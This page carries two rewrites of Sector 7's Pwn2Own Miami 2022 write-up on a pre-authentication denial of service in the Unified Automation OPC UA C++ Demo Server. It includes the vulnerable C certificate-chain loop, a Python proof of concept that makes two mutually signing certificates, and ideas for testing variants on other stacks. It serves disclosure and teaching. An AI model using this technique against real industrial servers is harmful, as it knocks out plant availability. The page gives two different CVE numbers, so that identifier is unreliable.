Skip to content
DoS Write-up Intermediate

Pwn2Own Miami 2022: Unified Automation C++ Demo Server DoS

The certificate verification function in the Unified Automation OPC UA C++ Demo Server could enter an infinite loop when checking a certificate chain that contains a loop, causing the server to become unresponsive. An attacker could exploit this pre-authentication to cause a denial of service.

Sector 7 Follow

Published on sector7.computest.nl

Bounty$5,000total stated by author View original

This write-up is part 4 of a series of write-ups about the 5 vulnerabilities we demonstrated last April at Pwn2Own Miami. This is the write-up for a Denial-of-Service in the Unified Automation OPC UA C++ Demo Server (CVE-2022-37013).

Sector 7 (@sector7_nl), on sector7.computest.nl

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

This is the write-up for a Denial-of-Service in the Unified Automation OPC UA C++ Demo Server, demonstrated at Pwn2Own Miami 2022. The Zero Day Initiative confirmed the finding:

Confirmed! The team from @sector7_nl leveraged an infinite loop condition to create a DoS against the Unified Automation C++ Demo Server. They earn $5,000 and 5 points towards Master of Pwn. #Pwn2Own #P2OMiami

, Trend Zero Day Initiative (@thezdi) April 20, 2022

Context

OPC UA is a communication protocol used in the ICS world. It is an open standard developed by the OPC Foundation. Because it is implemented by many vendors, it is often the preferred protocol for setting up communication between systems from different vendors in an ICS network.

At Pwn2Own Miami 2022, four OPC UA servers were in scope, with three different payload options:

  • Denial-of-Service. Availability is everything in an ICS network, so being able to crash an OPC UA server can have significant impact.
  • Remote code execution. Being able to take over the server.
  • Bypass Trusted Application Check. Setting up a trusted connection to a server without having a valid certificate.

When a client connects to the server it first needs to authenticate using a client certificate. This is called the trusted application check. The protocol also supports user authentication, using either a username/password combination or certificates, but this only happens after the client application itself has been authenticated. Although OPC UA uses the same X.509 certificates as TLS, the protocol itself is not based on TLS.

Setup

For the OPC UA server category the team focused on bypassing the trusted application check, as this would gain the most points. They did not look at remote code execution vulnerabilities. A trusted application means the application can authenticate with a valid certificate, so this meant auditing only the certificate verification function, a very limited scope. They looked at all applications in scope and in the end did find such a bypass in the OPC Foundation OPC UA .NET Standard, covered in a separate write-up.

In the Unified Automation C++ Demo Server they could not find a way to bypass the check, but while reviewing it they found a reliable Denial-of-Service. Because the DoS sits in the certificate verification function, it can be triggered before authentication.

Finding it

Verifying the certificate for a client is handled by the function OpcUa_P_OpenSSL_PKI_ValidateCertificate() in uastack.dll. This function calls OpcUa_P_OpenSSL_CertificateStore_IsExplicitlyTrusted(), which checks whether the certificate or any of its issuers are already explicitly trusted. It does so by walking the certificate chain and checking each certificate for equality with a trusted certificate, meaning its SHA1 hash is equal to that of a file under the pki/trusted/certs folder on the server.

The source code for this function seems to be similar to some code from the OPC Foundation, which can be found on GitHub:

C
static OpcUa_StatusCode OpcUa_P_OpenSSL_CertificateStore_IsExplicitlyTrusted(
    OpcUa_P_OpenSSL_CertificateStore* a_pStore,
    X509_STORE_CTX* a_pX509Context,
    X509* a_pX509Certificate,
    OpcUa_Boolean* a_pExplicitlyTrusted)
{
    X509* x = a_pX509Certificate;
    X509* xtmp = OpcUa_Null;
    int iResult = 0;
    OpcUa_UInt32 jj = 0;
    OpcUa_ByteString tBuffer;
    OpcUa_Byte* pPosition = OpcUa_Null;
    OpcUa_P_OpenSSL_CertificateThumbprint tThumbprint;

OpcUa_InitializeStatus(OpcUa_Module_P_OpenSSL, "CertificateStore_IsExplicitlyTrusted");

    OpcUa_ReturnErrorIfArgumentNull(a_pStore);
    OpcUa_ReturnErrorIfArgumentNull(a_pX509Context);
    OpcUa_ReturnErrorIfArgumentNull(a_pX509Certificate);
    OpcUa_ReturnErrorIfArgumentNull(a_pExplicitlyTrusted);

    OpcUa_P_ByteString_Initialize(&tBuffer);

    *a_pExplicitlyTrusted = OpcUa_False;

    /* follow the trust chain. */
    while (!*a_pExplicitlyTrusted)
    {
        /* need to convert to DER encoded certificate. */
        int iLength = i2d_X509(x, NULL);

        if (iLength > tBuffer.Length)
        {
            tBuffer.Length = iLength;
            tBuffer.Data = OpcUa_P_Memory_ReAlloc(tBuffer.Data, iLength);
            OpcUa_GotoErrorIfAllocFailed(tBuffer.Data);
        }

        pPosition = tBuffer.Data;
        iResult = i2d_X509((X509*)x, &pPosition);

        if (iResult <= 0)
        {
            OpcUa_GotoErrorWithStatus(OpcUa_BadEncodingError);
        }

        /* compute the hash */
        SHA1(tBuffer.Data, iLength, tThumbprint.Data);

        /* check for thumbprint in explicit trust list. */
        for (jj = 0; jj < a_pStore->ExplicitTrustListCount; jj++)
        {
            if (OpcUa_MemCmp(a_pStore->ExplicitTrustList[jj].Data, tThumbprint.Data, SHA_DIGEST_LENGTH) == 0)
            {
                *a_pExplicitlyTrusted = OpcUa_True;
                break;
            }
        }

        if (*a_pExplicitlyTrusted)
        {
            break;
        }

        /* end of chain if self signed. */
        if (X509_STORE_CTX_get_check_issued(a_pX509Context)(a_pX509Context, x, x))
        {
            break;
        }

        /* look in the store for the issuer. */
        iResult = X509_STORE_CTX_get_get_issuer(a_pX509Context)(&xtmp, a_pX509Context, x);

        if (iResult == 0)
        {
            break;
        }

        /* oops - unexpected error */
        if (iResult < 0)
        {
            OpcUa_GotoErrorWithStatus(OpcUa_Bad);
        }

        /* goto next link in chain. */
        x = xtmp;
        X509_free(xtmp);
    }

    OpcUa_P_ByteString_Clear(&tBuffer);

OpcUa_ReturnStatusCode;
OpcUa_BeginErrorHandling;

    OpcUa_P_ByteString_Clear(&tBuffer);

OpcUa_FinishErrorHandling;
}

The function checks whether the SHA1 hash of the certificate is in the known trusted list. If not, it continues the while loop by checking whether the issuer, obtained using X509_STORE_CTX_get_get_issuer(), is on the trusted list instead. This continues until the entire chain has been checked.

The problem is what happens if there is a loop in the chain. In that case the while loop turns into an infinite loop, as there is always some certificate to check. Since the entire network handling occurs in a single thread in the demo application, this effectively makes the server unresponsive for all clients: a nice and effective Denial-of-Service. A loop of length one is a self-signed certificate, which is checked for by the call to X509_STORE_CTX_get_check_issued(), but it is also possible to construct a loop of certificates which is longer.

Exploitation

Step 1: generate two certificates that sign each other

The exploit is simple. First generate two certificates A and B. Since signing a certificate only requires the private key, certificate A can be signed with the key of B, and B with the key of A. This creates a certificate chain where both certificates have each other as issuer, and thus a loop.

Python
def make_cert(name, issuer, public_key, private_key, identifier, issuer_identifier):
	one_day = datetime.timedelta(1, 0, 0)

	builder = x509.CertificateBuilder()

	builder = builder.subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, name)]))

	builder = builder.issuer_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, issuer)]))

	builder = builder.not_valid_before(datetime.datetime.today() - (one_day * 7))
	builder = builder.not_valid_after(datetime.datetime.today() + (one_day * 90))
	builder = builder.serial_number(x509.random_serial_number())
	builder = builder.public_key(public_key)
	builder = builder.add_extension(x509.SubjectKeyIdentifier(identifier), critical=False)
	builder = builder.add_extension(x509.AuthorityKeyIdentifier(key_identifier=issuer_identifier, authority_cert_issuer=None, authority_cert_serial_number=None), critical=False)
	builder = builder.add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=False)

	# No idea if all of these are needed, but data_encipherment is required.
	builder = builder.add_extension(x509.KeyUsage(digital_signature=True, content_commitment=True, key_encipherment=True, data_encipherment=True,
		key_agreement=True, key_cert_sign=True, crl_sign=True, encipher_only=False, decipher_only=False), critical=False)

	# The certificate is actually self-signed, but this doesn't matter because the signature is not checked.
	certificate = builder.sign(private_key=private_key, algorithm=hashes.SHA256(), backend=backend)

	return certificate

private_keyA = rsa.generate_private_key(public_exponent=65537, key_size=3072, backend=backend)
public_keyA = private_keyA.public_key()

private_keyB = rsa.generate_private_key(public_exponent=65537, key_size=3072, backend=backend)
public_keyB = private_keyB.public_key()

certA = make_cert("A", "B", public_keyA, private_keyB, b"1", b"2")
certB = make_cert("B", "A", public_keyB, private_keyA, b"2", b"1")

The helper builds each certificate with a subject common name and an issuer common name, a validity window from seven days in the past to ninety days in the future, a random serial, the supplied public key, and the subject and authority key identifier extensions. It marks the certificate as a CA with BasicConstraints and sets a broad KeyUsage; the comment notes that data_encipherment is required. The signing key passed in is the other certificate's private key, so certA names B as issuer and is signed by B's key, while certB names A as issuer and is signed by A's key. The comment in the code notes that each certificate is actually self-signed, but this does not matter because the signature is not checked.

Step 2: authenticate with the looping chain

By trying to authenticate at the server using this certificate and including the other as an additional certificate, the chain presented to the server loops. Eventually a timeout is reached and the server spins at 100% CPU usage.

You can see the exploit in action in the screen recording below.

From the original on sector7.computest.nl

Root cause

The chain-walking loop in OpcUa_P_OpenSSL_CertificateStore_IsExplicitlyTrusted() keeps following issuers until it finds a trusted certificate, a self-signed certificate, no issuer, or an error. It only stops when a certificate is found in the explicit trust list, when X509_STORE_CTX_get_check_issued() reports a self-signed certificate, when the issuer lookup returns 0, or on an error. A chain in which two certificates name each other as issuer satisfies none of these conditions, so the loop never terminates. The self-signed check only catches loops of length one. Because the demo application handles all network traffic in a single thread, the spinning loop blocks every other client.

Impact

OPC UA is often a central component between the IT and OT network of an organisation. Being able to reliably shut it down pre-authentication is a powerful primitive to have. Since the DoS is in the certificate verification function, it can be triggered before authentication. In the ICS world, where everything revolves around availability, a vulnerability that lets an attacker reliably disable a central component is less than ideal.

Fix

The issue was fixed in version v1.7.7-549 and was given the CVE number CVE-2022-29862. Unified-Automation now uses the certificate stack that was constructed by OpenSSL for validation.

Variants to test

  • Longer issuer loops. Build a cycle of three or more certificates, each naming the next as issuer, and present the full set during the handshake. A positive result is the same symptom: the connection times out and the server process sits at 100% CPU.
  • Other chain-walking code paths. Look for any other function that follows issuers with X509_STORE_CTX_get_get_issuer() or similar without a visited set or depth limit, for example in other OPC UA stacks or in certificate store tooling. A positive result is a hang or unbounded CPU use when a cyclic chain is supplied.
  • Single-threaded network handling. Check whether other OPC UA servers process connections on one thread. If so, a hang in any per-connection verification routine becomes a server-wide DoS rather than affecting one client.
  • Signature checking assumptions. The exploit relies on the signature not being verified during this walk. Test whether other implementations validate signatures before or during chain traversal; if they do not, cyclic chains remain a useful input.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

In April 2022, a security research team called Sector 7 took part in Pwn2Own Miami, a contest where researchers try to break into software and get paid for it. One of the products they looked at was the Unified Automation OPC UA C++ Demo Server, a piece of software used in industrial settings. They found a way to make that server stop responding to anyone, using nothing but a specially crafted pair of digital certificates. The contest organiser, the Zero Day Initiative, confirmed the finding and awarded the team $5,000.

This article explains that finding from scratch. You do not need any security background. Every technical word is explained the first time it appears, and there is a glossary at the end.

The contest announcement

When the finding was confirmed, the Zero Day Initiative posted this on Twitter:

Confirmed! The team from @sector7_nl leveraged an infinite loop condition to create a DoS against the Unified Automation C++ Demo Server. They earn $5,000 and 5 points towards Master of Pwn. #Pwn2Own #P2OMiami

, Trend Zero Day Initiative (@thezdi) April 20, 2022

A few words in that message need unpacking. "DoS" stands for Denial-of-Service: an attack that does not steal data or take over a machine, but simply stops a service from working for its legitimate users. "Infinite loop condition" means a piece of program logic that, given the right input, keeps repeating forever instead of finishing. "Master of Pwn" is the contest's overall ranking.

Background: what OPC UA is and why it matters

OPC UA is a communication protocol, which is a agreed set of rules two programs follow to exchange messages, much like a shared language. It is used in the ICS world. ICS stands for Industrial Control Systems: the computers and software that run factories, power plants, water treatment and similar facilities. OPC UA is an open standard, meaning its specification is published and anyone may implement it, and it is developed by the OPC Foundation.

Because many different vendors implement OPC UA, it is often the preferred protocol for connecting systems from different manufacturers inside one ICS network. Think of it as the common language that lets equipment from company A talk to equipment from company B.

At Pwn2Own Miami 2022, four OPC UA servers were in scope, meaning they were the allowed targets for the contest. Contestants could aim for three different kinds of result, called payload options:

  • Denial-of-Service. Availability is everything in an ICS network, so being able to crash an OPC UA server can have significant impact. Availability here means the service simply keeps working when people need it.
  • Remote code execution. Being able to take over the server, that is, to make it run code of the attacker's choosing.
  • Bypass Trusted Application Check. Setting up a trusted connection to a server without having a valid certificate.

To understand that third option, you need to know how a client gets in. When a client (the program that wants to use the server) connects, it first needs to authenticate using a client certificate. A certificate is a small digital file that proves an identity, a bit like a passport for software. This first check is called the trusted application check: the server asks, "is this client application one I already trust?"

The protocol also supports user authentication, using either a username/password combination or certificates, but this only happens after the client application itself has been authenticated. In other words, there are two doors: first the application proves it is trusted, then the human user proves who they are.

One detail worth knowing: although OPC UA uses the same X.509 certificates as TLS, the protocol itself is not based on TLS. X.509 is the standard format for these digital certificates. TLS is the technology behind the padlock in a web browser. OPC UA borrows the certificate format but not the whole TLS machinery.

How the team approached the contest

For the OPC UA server category the team focused on bypassing the trusted application check, as this would gain the most points. They did not look at remote code execution vulnerabilities. A trusted application means the application can authenticate with a valid certificate, so this meant auditing only the certificate verification function, a very limited scope. Auditing here means reading the code carefully looking for mistakes.

They looked at all applications in scope and in the end did find such a bypass in the OPC Foundation OPC UA .NET Standard, covered in a separate write-up.

In the Unified Automation C++ Demo Server they could not find a way to bypass the check, but while reviewing it they found a reliable Denial-of-Service. Because the DoS sits in the certificate verification function, it can be triggered before authentication. That last point is important: an attacker does not need an account, a password or a trusted certificate to cause the problem.

Finding it: how the server checks a certificate

Verifying the certificate for a client is handled by the function OpcUa_P_OpenSSL_PKI_ValidateCertificate() in uastack.dll. A function is a named block of code that does one job; uastack.dll is the library file on Windows that contains this code. This function calls OpcUa_P_OpenSSL_CertificateStore_IsExplicitlyTrusted(), which checks whether the certificate or any of its issuers are already explicitly trusted.

Two ideas need explaining here. An issuer is the entity that signed a certificate, the way a passport office issues a passport. Certificates can be chained: certificate A is signed by B, B is signed by C, and so on, and the server walks that chain looking for someone it already trusts. The check works by walking the certificate chain and checking each certificate for equality with a trusted certificate, meaning its SHA1 hash is equal to that of a file under the pki/trusted/certs folder on the server.

A hash (here SHA1) is a short fingerprint computed from a file: change one byte and the fingerprint changes completely, so comparing fingerprints is a quick way to test whether two files are identical. The pki/trusted/certs folder is simply the directory on the server where the certificates it trusts are stored.

The source code for this function seems to be similar to some code from the OPC Foundation, which can be found on GitHub:

C
static OpcUa_StatusCode OpcUa_P_OpenSSL_CertificateStore_IsExplicitlyTrusted(
    OpcUa_P_OpenSSL_CertificateStore* a_pStore,
    X509_STORE_CTX* a_pX509Context,
    X509* a_pX509Certificate,
    OpcUa_Boolean* a_pExplicitlyTrusted)
{
    X509* x = a_pX509Certificate;
    X509* xtmp = OpcUa_Null;
    int iResult = 0;
    OpcUa_UInt32 jj = 0;
    OpcUa_ByteString tBuffer;
    OpcUa_Byte* pPosition = OpcUa_Null;
    OpcUa_P_OpenSSL_CertificateThumbprint tThumbprint;

OpcUa_InitializeStatus(OpcUa_Module_P_OpenSSL, "CertificateStore_IsExplicitlyTrusted");

    OpcUa_ReturnErrorIfArgumentNull(a_pStore);
    OpcUa_ReturnErrorIfArgumentNull(a_pX509Context);
    OpcUa_ReturnErrorIfArgumentNull(a_pX509Certificate);
    OpcUa_ReturnErrorIfArgumentNull(a_pExplicitlyTrusted);

    OpcUa_P_ByteString_Initialize(&tBuffer);

    *a_pExplicitlyTrusted = OpcUa_False;

    /* follow the trust chain. */
    while (!*a_pExplicitlyTrusted)
    {
        /* need to convert to DER encoded certificate. */
        int iLength = i2d_X509(x, NULL);

        if (iLength > tBuffer.Length)
        {
            tBuffer.Length = iLength;
            tBuffer.Data = OpcUa_P_Memory_ReAlloc(tBuffer.Data, iLength);
            OpcUa_GotoErrorIfAllocFailed(tBuffer.Data);
        }

        pPosition = tBuffer.Data;
        iResult = i2d_X509((X509*)x, &pPosition);

        if (iResult <= 0)
        {
            OpcUa_GotoErrorWithStatus(OpcUa_BadEncodingError);
        }

        /* compute the hash */
        SHA1(tBuffer.Data, iLength, tThumbprint.Data);

        /* check for thumbprint in explicit trust list. */
        for (jj = 0; jj < a_pStore->ExplicitTrustListCount; jj++)
        {
            if (OpcUa_MemCmp(a_pStore->ExplicitTrustList[jj].Data, tThumbprint.Data, SHA_DIGEST_LENGTH) == 0)
            {
                *a_pExplicitlyTrusted = OpcUa_True;
                break;
            }
        }

        if (*a_pExplicitlyTrusted)
        {
            break;
        }

        /* end of chain if self signed. */
        if (X509_STORE_CTX_get_check_issued(a_pX509Context)(a_pX509Context, x, x))
        {
            break;
        }

        /* look in the store for the issuer. */
        iResult = X509_STORE_CTX_get_get_issuer(a_pX509Context)(&xtmp, a_pX509Context, x);

        if (iResult == 0)
        {
            break;
        }

        /* oops - unexpected error */
        if (iResult < 0)
        {
            OpcUa_GotoErrorWithStatus(OpcUa_Bad);
        }

        /* goto next link in chain. */
        x = xtmp;
        X509_free(xtmp);
    }

    OpcUa_P_ByteString_Clear(&tBuffer);

OpcUa_ReturnStatusCode;
OpcUa_BeginErrorHandling;

    OpcUa_P_ByteString_Clear(&tBuffer);

OpcUa_FinishErrorHandling;
}

Line by line, in plain words:

  1. The function takes four inputs: the server's certificate store (a_pStore), a context object that OpenSSL (the certificate library) uses (a_pX509Context), the certificate being checked (a_pX509Certificate), and a pointer to a true/false answer (a_pExplicitlyTrusted).
  2. The first few lines set up local variables. x starts as the certificate under examination. tBuffer is a scratch buffer for holding the certificate's bytes. tThumbprint will hold the fingerprint.
  3. OpcUa_InitializeStatus and the OpcUa_ReturnErrorIfArgumentNull calls are housekeeping: set up error reporting and refuse to continue if any input is missing.
  4. *a_pExplicitlyTrusted = OpcUa_False; starts with the assumption that the certificate is not trusted.
  5. while (!*a_pExplicitlyTrusted) is the heart of it: keep going as long as the answer is still "not trusted". This is the loop that walks the chain.
  6. Inside, i2d_X509 converts the certificate into DER, a compact binary encoding. The first call asks how many bytes are needed; if that is more than the buffer holds, the buffer is enlarged with OpcUa_P_Memory_ReAlloc. The second call actually writes the bytes.
  7. SHA1(...) computes the fingerprint of those bytes.
  8. The for loop compares that fingerprint against every entry in the server's explicit trust list using OpcUa_MemCmp. If one matches, *a_pExplicitlyTrusted is set to true and the loop breaks.
  9. If the certificate was not trusted, the code checks whether it is self-signed, meaning it is its own issuer, via X509_STORE_CTX_get_check_issued. A self-signed certificate marks the end of a chain, so the loop breaks.
  10. Otherwise it asks the store for the issuer of the current certificate with X509_STORE_CTX_get_get_issuer. A return value of 0 means no issuer was found, so the loop breaks. A negative value is an unexpected error and jumps to the error handling.
  11. Finally x = xtmp; moves to the issuer and the loop repeats, checking the next link in the chain.
  12. At the end the scratch buffer is cleared, both on the normal path and in the error handling.

The function checks whether the SHA1 hash of the certificate is in the known trusted list. If not, it continues the while loop by checking whether the issuer, obtained using X509_STORE_CTX_get_get_issuer(), is on the trusted list instead. This continues until the entire chain has been checked.

The problem is what happens if there is a loop in the chain. In that case the while loop turns into an infinite loop, as there is always some certificate to check. Since the entire network handling occurs in a single thread in the demo application, this effectively makes the server unresponsive for all clients: a nice and effective Denial-of-Service.

A thread is one line of execution inside a program. If a program handles all its network traffic on a single thread, it can only do one thing at a time, like a shop with one cashier: if one customer never finishes, everyone behind them waits forever. A loop of length one is a self-signed certificate, which is checked for by the call to X509_STORE_CTX_get_check_issued(), but it is also possible to construct a loop of certificates which is longer.

Exploitation

Step 1: generate two certificates that sign each other

The exploit is simple. First generate two certificates A and B. Since signing a certificate only requires the private key, certificate A can be signed with the key of B, and B with the key of A. This creates a certificate chain where both certificates have each other as issuer, and thus a loop.

A private key is the secret half of a key pair used in cryptography; the matching public key can be shared freely. Signing a certificate means using a private key to stamp it so others can verify it came from the holder of that key. Normally a certificate is signed by a higher authority, but nothing in the maths stops you from signing with any key you hold, which is exactly what the team did.

Python
def make_cert(name, issuer, public_key, private_key, identifier, issuer_identifier):
	one_day = datetime.timedelta(1, 0, 0)

	builder = x509.CertificateBuilder()

	builder = builder.subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, name)]))

	builder = builder.issuer_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, issuer)]))

	builder = builder.not_valid_before(datetime.datetime.today() - (one_day * 7))
	builder = builder.not_valid_after(datetime.datetime.today() + (one_day * 90))
	builder = builder.serial_number(x509.random_serial_number())
	builder = builder.public_key(public_key)
	builder = builder.add_extension(x509.SubjectKeyIdentifier(identifier), critical=False)
	builder = builder.add_extension(x509.AuthorityKeyIdentifier(key_identifier=issuer_identifier, authority_cert_issuer=None, authority_cert_serial_number=None), critical=False)
	builder = builder.add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=False)

	# No idea if all of these are needed, but data_encipherment is required.
	builder = builder.add_extension(x509.KeyUsage(digital_signature=True, content_commitment=True, key_encipherment=True, data_encipherment=True,
		key_agreement=True, key_cert_sign=True, crl_sign=True, encipher_only=False, decipher_only=False), critical=False)

	# The certificate is actually self-signed, but this doesn't matter because the signature is not checked.
	certificate = builder.sign(private_key=private_key, algorithm=hashes.SHA256(), backend=backend)

	return certificate

private_keyA = rsa.generate_private_key(public_exponent=65537, key_size=3072, backend=backend)
public_keyA = private_keyA.public_key()

private_keyB = rsa.generate_private_key(public_exponent=65537, key_size=3072, backend=backend)
public_keyB = private_keyB.public_key()

certA = make_cert("A", "B", public_keyA, private_keyB, b"1", b"2")
certB = make_cert("B", "A", public_keyB, private_keyA, b"2", b"1")

What each part does:

  1. make_cert is a helper function that builds one certificate. Its inputs are the name to put on the certificate, the name of who issued it, the public key to embed, the private key to sign with, and two small identifiers.
  2. one_day is a time span of one day, used to set the validity window.
  3. x509.CertificateBuilder() creates an empty certificate template that gets filled in step by step.
  4. subject_name sets the name of the certificate's owner, and issuer_name sets the name of the entity that issued it. Both use the common name field, the human-readable label on a certificate.
  5. not_valid_before and not_valid_after set the period during which the certificate is valid: from seven days ago to ninety days from now.
  6. serial_number gives the certificate a random serial number, a unique identifier.
  7. public_key embeds the public key that belongs to the certificate.
  8. SubjectKeyIdentifier and AuthorityKeyIdentifier add small labels that help software match a certificate to its issuer.
  9. BasicConstraints(ca=True, ...) marks the certificate as a CA, a certificate authority, meaning a certificate allowed to issue other certificates.
  10. KeyUsage lists what the certificate may be used for. The comment notes that data_encipherment is required, and that the author was not sure whether all the other flags were needed.
  11. builder.sign(...) produces the final certificate, signed with the private key passed in, using the SHA256 algorithm.
  12. The last block generates two RSA key pairs, A and B. RSA is a widely used public-key algorithm; key_size=3072 is the length of the key in bits, and a longer key is harder to break.
  13. The two make_cert calls are the trick. certA is named A but names B as its issuer and is signed with B's private key. certB is named B but names A as its issuer and is signed with A's private key. Each points at the other.

The helper builds each certificate with a subject common name and an issuer common name, a validity window from seven days in the past to ninety days in the future, a random serial, the supplied public key, and the subject and authority key identifier extensions. It marks the certificate as a CA with BasicConstraints and sets a broad KeyUsage; the comment notes that data_encipherment is required. The signing key passed in is the other certificate's private key, so certA names B as issuer and is signed by B's key, while certB names A as issuer and is signed by A's key. The comment in the code notes that each certificate is actually self-signed, but this does not matter because the signature is not checked.

Step 2: authenticate with the looping chain

By trying to authenticate at the server using this certificate and including the other as an additional certificate, the chain presented to the server loops. Eventually a timeout is reached and the server spins at 100% CPU usage. CPU usage is how much of the computer's processor is busy; 100% means it is working flat out and has nothing left for anything else.

You can see the exploit in action in the screen recording below.

From the original on sector7.computest.nl

Root cause

The chain-walking loop in OpcUa_P_OpenSSL_CertificateStore_IsExplicitlyTrusted() keeps following issuers until it finds a trusted certificate, a self-signed certificate, no issuer, or an error. It only stops when a certificate is found in the explicit trust list, when X509_STORE_CTX_get_check_issued() reports a self-signed certificate, when the issuer lookup returns 0, or on an error. A chain in which two certificates name each other as issuer satisfies none of these conditions, so the loop never terminates. The self-signed check only catches loops of length one. Because the demo application handles all network traffic in a single thread, the spinning loop blocks every other client.

In everyday terms: the code keeps asking "who issued this?" and following the answer, but it never writes down where it has been. Two certificates that each name the other as issuer send it round and round forever, like two people each saying "ask the other one".

Impact

OPC UA is often a central component between the IT and OT network of an organisation. IT is the ordinary office and business network; OT is the operational technology network that runs physical equipment. Being able to reliably shut down a component that sits between them, before authentication, is a powerful primitive to have. Since the DoS is in the certificate verification function, it can be triggered before authentication. In the ICS world, where everything revolves around availability, a vulnerability that lets an attacker reliably disable a central component is less than ideal.

Fix

The issue was fixed in version v1.7.7-549 and was given the CVE number CVE-2022-29862. A CVE number is a public identifier assigned to a known vulnerability so people can look it up and track it. Unified-Automation now uses the certificate stack that was constructed by OpenSSL for validation.

Variants to test

These are ideas for checking whether similar problems exist elsewhere:

  • Longer issuer loops. Build a cycle of three or more certificates, each naming the next as issuer, and present the full set during the handshake. A positive result is the same symptom: the connection times out and the server process sits at 100% CPU.
  • Other chain-walking code paths. Look for any other function that follows issuers with X509_STORE_CTX_get_get_issuer() or similar without a visited set or depth limit, for example in other OPC UA stacks or in certificate store tooling. A positive result is a hang or unbounded CPU use when a cyclic chain is supplied.
  • Single-threaded network handling. Check whether other OPC UA servers process connections on one thread. If so, a hang in any per-connection verification routine becomes a server-wide DoS rather than affecting one client.
  • Signature checking assumptions. The exploit relies on the signature not being verified during this walk. Test whether other implementations validate signatures before or during chain traversal; if they do not, cyclic chains remain a useful input.

Glossary

  • API: a defined way for one program to ask another program to do something, like a menu of allowed requests.
  • Auditing: reading source code carefully to look for mistakes that could be abused.
  • Availability: the property that a service keeps working when legitimate users need it.
  • CA (certificate authority): an entity allowed to issue certificates to others.
  • Certificate: a digital file that binds a public key to an identity and is signed by an issuer.
  • Certificate chain: a series of certificates where each is signed by the next, ending at a trusted root.
  • Client: the program that connects to and uses a server.
  • CPU usage: the share of a computer's processor that is busy; 100% means fully occupied.
  • CVE: a public identifier for a known vulnerability.
  • DER: a compact binary encoding used for certificates.
  • Denial-of-Service (DoS): an attack that stops a service from working for legitimate users.
  • Fingerprint (hash): a short value computed from data, used to compare files quickly; SHA1 is one such algorithm.
  • Function: a named block of code that performs one job.
  • ICS (Industrial Control Systems): computer systems that control physical industrial equipment.
  • Infinite loop: a loop in a program that never ends because its exit condition is never met.
  • Issuer: the entity that signed a certificate.
  • IT / OT: the office and business network versus the network that runs physical equipment.
  • OPC UA: an open communication standard used in industrial systems, developed by the OPC Foundation.
  • Payload: in a contest, the kind of result a contestant aims for, such as a crash or code execution.
  • Private key: the secret half of a cryptographic key pair, used for signing.
  • Protocol: an agreed set of rules for exchanging messages between programs.
  • Public key: the shareable half of a cryptographic key pair.
  • Remote code execution: making a remote server run code of the attacker's choosing.
  • RSA: a widely used public-key cryptographic algorithm.
  • Scope: the set of targets a contest allows.
  • Self-signed certificate: a certificate that is its own issuer.
  • SHA1 / SHA256: hash algorithms that produce fingerprints of data.
  • Thread: one line of execution inside a program; a single-threaded program does one thing at a time.
  • TLS: the technology that secures connections on the web, shown by the padlock in a browser.
  • Trusted application check: the server-side check that a connecting client application holds a valid, trusted certificate.
  • X.509: the standard format for digital certificates.

More by Sector 7

View all

7 more disclosed reports, best first.

More from Unified Automation

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.